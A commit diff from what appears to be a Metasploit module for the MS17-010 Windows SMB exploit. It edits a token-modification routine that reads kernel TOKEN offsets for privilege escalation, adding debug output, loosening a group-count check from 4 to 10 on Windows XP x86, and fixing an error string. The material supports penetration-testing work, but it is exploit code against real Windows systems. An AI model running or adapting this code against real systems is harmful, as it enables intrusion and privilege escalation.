@@ -122,21 +122,29 @@ def modify_token()
122
122
@ctx [ 'tokenData' ] = tokenData
123
123
@ctx [ 'tokenAddr' ] = tokenAddr
124
124
125
+ if datastore [ 'DBGTRACE' ]
126
+ print_status ( "TOKEN data = #{ bin_to_hex ( tokenData ) } " )
127
+ end
128
+
125
129
userAndGroupCount = tokenData [ @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] ..-1 ] . unpack ( "V" ) [ 0 ] #unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
126
130
userAndGroupsAddr = tokenData [ @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] ..-1 ] . unpack ( fmt ) [ 0 ] #unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
127
131
128
132
if @ctx [ 'os' ] == 'WINXP' and @ctx [ 'arch' ] == 'x86'
129
- if userAndGroupCount > 4 or userAndGroupCount == 0 # check NULL too
133
+ if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
130
134
print_error ( "Bad TOKEN offsets detected (group count = #{ userAndGroupCount } ), performing workaround..." )
131
135
@ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] = @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1' ]
132
136
@ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] = @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1' ]
133
137
134
138
userAndGroupCount = tokenData [ @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] ..-1 ] . unpack ( "V" ) [ 0 ]
135
139
userAndGroupsAddr = tokenData [ @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] ..-1 ] . unpack ( fmt ) [ 0 ]
136
140
141
+ if datastore [ 'DBGTRACE' ]
142
+ print_status ( "New TOKEN offsets (group count = #{ userAndGroupCount } )" )
143
+ end
144
+
137
145
# hopefully its not bad anymore
138
- if userAndGroupCount > 4 or userAndGroupCount == 0 # check NULL too
139
- raise MS17_010_Error , ' Bad TOKEN offsets after workround (group count = #{userAndGroupCount})... Abort > BSOD'
146
+ if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
147
+ raise MS17_010_Error , " Bad TOKEN offsets after workround (group count = #{ userAndGroupCount } )... Abort > BSOD"
140
148
end
141
149
end
142
150
end
0 commit comments